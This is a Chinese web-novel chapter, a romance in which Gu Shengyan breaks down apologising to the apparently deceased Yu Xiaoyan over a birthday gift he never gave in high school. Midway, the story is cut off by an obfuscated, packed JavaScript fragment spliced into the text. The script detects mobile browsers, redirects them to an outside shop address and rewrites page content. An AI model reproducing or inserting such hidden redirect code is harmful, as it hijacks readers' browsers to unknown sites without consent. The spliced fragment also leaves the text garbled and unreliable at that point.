顾省言毫无预兆的崩溃，让余逍言措手不及，原本昏沉的意识一下子清醒。
对不起谁？他吗？余逍言感觉自己在自作多情。
“你……”一时间余逍言不知该说什么。
他曾想过有一天让顾省言跪在自己面前道歉，可真遇到现在的情况，余逍言却没多开心，反倒生出别样复杂的思绪。
“对不起……”
顾省言跌坐在椅子上，他修长的身子蜷缩着，是身体本能的防御姿势，顾省言低垂着头，眼底氤氲着潮湿的雾气，如同云层浸透水汽，随时会落下雨来。
回忆如老旧的胶片断断续续，脑海中不断闪过破碎的片段，顾省言呼吸急促，最终他的记忆定格在那个昏暗的夜晚。
余逍言甩开他的手，眼尾殷红似血，余逍言怒声喊着，声音是愤慨，又夹杂着哀求。
顾省言看见余逍言的唇瓣开开合合，可耳畔有惊雷作响，顾省言想听，却怎么也听不清。
是什么？在说什么？
顾省言拽着那捋回忆不断去想，霎那间，他听清那道声音，余逍言在说：
‘求你了，放过我吧。’
顾省言身体的颤抖停止，宛如被抽干所有生气。
是他的错，错得彻头彻尾。
顾省言双眸失神，他抬起手，掌心空荡荡的，什么都没能握住，亦如那夜，他的视线渐渐模糊，脑海中余逍言的身影却愈发清晰，顾省言无意识地呢喃着，“对不起……小言，对不起……”
余逍言听到自己的名字，心底石头滚落，一路滚到心头，堵得他透不过气来，同时余逍言又升起一股别扭劲，分手时顾省言冷静得要命，现在这幅为情所伤的模样也不知道表演给谁看。
假惺惺的。
余逍言想嘲笑顾省言两句，可感觉到已经躯体化的哀伤，余逍言到嘴的话又说不出口。
若顾省言是演的，那对方真当得起影帝。
真真假假纠缠在一起，越是追究，那些余逍言想忘记的回忆就越清晰。
顾省言对不起他，但不能否认，跟对方在一起时，他得到不少帮助，也是碍于这些，余逍言到最后也没跟顾省言撕破脸皮，只是顾省言似乎不想再看见他，没多久就办了转学。
学生间的传言也因为另一主人公的消失，而渐渐平息。
他跟顾省言在那时就结束了，再较劲，也挺没意思的。
心底的波动归于宁静，寒风还在往屋里吹，余逍言语气冷硬，“关窗”
“……什么？”
顾省言反应迟钝，独属于余逍言的声音牵动着他的神志，但超负荷的大脑无法正确处理，顾省言双手捧着夜灯，目光没有焦距。
余逍言没耐心哄顾省言，重复道：“关窗。”
顾省言恍若未闻，他屏住呼吸，愣愣地望着怀里的夜灯，他仿佛看见余逍言站在自己面前，冷眼望着他，对方含笑意的眼眸没有一丝温度。
那眼神像利刃插在他心头，留下难以愈合的深坑，顾省言薄唇轻启，声音几乎一吹就散，“我不该再打扰你的。”
余逍言不留情面，“你是挺碍眼的。”
顾省言喉咙发紧，好半晌才找回自己的声音，“生日礼物，我准备了。”
没头没脑的一句话，余逍言却听懂了。
顾省言是在说他高三的那次生日。
他的生日正好在两人分手的前段时间，那时他和顾省言的关系处于暧昧上升期，几乎每时每刻都黏在一起。
小生日算不上重要，但余逍言还是想要顾省言的礼物，不是因为礼物的价值，只是想确认心上人的心意。
可少年人面皮子薄，余逍言不好意思明说，几次想开口都失败了。
眼看要时间临近放学，余逍言心底着急，自习课也没心思再上下去。
试卷上的解题步骤卡在一半，黑笔在修长的手指间转动，余逍言频频用余光向顾省言扫去，他自以为隐蔽的小动作，在顾省言看来无所遁形。
顾省言光不着痕迹地掠过余逍言，少年坐在阳光下，皮肤白得透光，稍长的发丝柔软蓬松，有几缕遮住挺翘的鼻梁，微有肉感的唇紧抿着，眉心拧成一个川字，瞧着不好惹的样子，但在顾省言看来只剩孩子气的可爱。
他唇角勾起一抹弧度，左手熟练地拿出抽屉里的夹心巧克力，从桌下给余逍言递过去。
腿上忽然多出一只握着巧克力的手，余逍言的目光循着手臂望去，正好对上顾省言含笑的眼眸。
余逍言有种小心思被戳破的窘迫，他做贼似地瞥了眼坐在讲堂上班长，对方正在写作业，没注意他们这个角落，余逍言低下头，把巧克力推回去，用气音说道：“我不饿。”
顾省言歪过身子，配合着余逍言低下头，他听清了余逍言的话，却低声问道：“什么？”
余逍言闻言，正想重复一遍，忽然看见巧克力从顾省言手上滑出一节，啪嗒掉在地上，他下意识弯腰去捡，刚矮下身子，脸颊却被温热的物体触碰，柔软的感觉一触即离。
他后知后觉，顾省言是故意的，他想亲他。
耳边传来轻笑，余逍言不甘落于下风，故作镇定地起身，他轻咳一声，在顾省言面前的草稿纸上唰唰写下几个大字：
幼稚。
如果不看余逍言红得低血的耳垂，这两个字还有几分信服力。
顾省言拿起笔，在旁边写下嗯字，顺带画上一个可爱的笑脸。
余逍言见此，嘴里又嘟囔了一句幼稚，他眸光微闪，笔尖顿了好一会儿才落在纸上：
你生日几月份？
顾省言写道：一月十五。
然后就没了下文。
余逍言轻咬住下唇，心底懊恼，正常来说不该礼尚往来，问一句他的生日吗？
不通人性的家伙。
余逍言捏紧笔，纠结着该怎么继续提醒。
顾省言望着余逍言的侧脸，哑然失笑，他将巧克力塞进余逍言手里，接着写道：
和你的生日差一个月多三天。
余逍言一愣，绯色悄然爬上他的脸颊，他飞快撇过脸去，手里的巧克力被捏碎也没发现。
他忿忿想着，这家伙早就知道了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388042|200291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
于是从那天起，余逍言心底多了对生日的期待，他想过无数种可能，却没想过顾省言会爽约。
而生日礼物，他自然也没收到。
…………
余逍言从回忆中抽离，面对情绪激动的顾省言，不执一言。
过期蜜糖犹如砒霜，那份礼物早就失去它该有的价值。
“我准备了……”顾省言重复道，声音渐渐落下去。
倏然，他用力关上窗，转身快步走到书架旁的木柜前，顾省言抬手打开柜门，尘封已久的礼物终于出现在本该拥有它们的人的视野中。
是一组游戏的限量手办，整齐的排列在玻璃罩中，其中不乏难收集的绝版品。
少年人聚在一起，话题少不了游戏，余逍言也不例外，若是高中的他能拿到这些肯定会高兴得到处跟朋友炫耀，但现在的余逍言眼底却掀不起波澜。
大概是时间磨平了棱角，最初纯粹的喜爱也蒙上尘土，眼前的一切可有可无。
余逍言心底生出一种空洞感，窗户关上，他的目的已经达到，和顾省言的交流也变得没有必要。
他从参与者中抽身，回归旁观者的位置，留下顾省言一人唱独角戏。
顾省言自顾自地说着：“我原本是要去找你的，只是中途出了意外，等我脱身，时间已经太晚了。”
“害你白期待一场，对不起，让你失望了，对不起……”
“我知道你一定在生气。”顾省言喃喃着，“我陪你打篮球好不好？你喜欢的游戏出第二版了，周边也再贩了，我都买给你。”
“学校前面一条街新开了一家烤肉，是韩式的，味道不错，你会喜欢的。”
“你期待的那些电影都上映了，有几部评分不高，不知道你看完还会不会喜欢。”
“你说你想去大型游乐园，我已经做好攻略了，等高考结束，我们一起去。”
“还有大海、冰川、极光……你想去的地方，想做的事情，我都可以陪你，所以……”
“你再跟我说说话，好吗？”
顾省言像是压抑太久，此刻恨不得把心底所有的话都说出来，他近乎祈求着。
“小言。”
“余逍言。”
“余逍言……”
“你还在的。”
“对吗？”
余逍言：“……”
久久得不到回应，顾省言眼底的最后一丝光亮熄灭，第一次，他直面那个他不愿意接受的事实。
“你……”
“不在了啊……”
顾省言骤然端起装着手办的玻璃壳，手办因为他粗暴的动作摔得东倒西歪，他将东西举起，可举到半空又像是失去了所有力气。
他如电量耗尽的机器，再难前进一步。
哐地一声。
顾省言将玻璃壳放了回去，他无心整理摔倒的手办，抬手将柜门关了回去。
落在手办上的灯光消失殆尽，顾省言埋藏在心底的思绪一同归于沉寂。
而余逍言只是默默地看着，再也没说过一句话。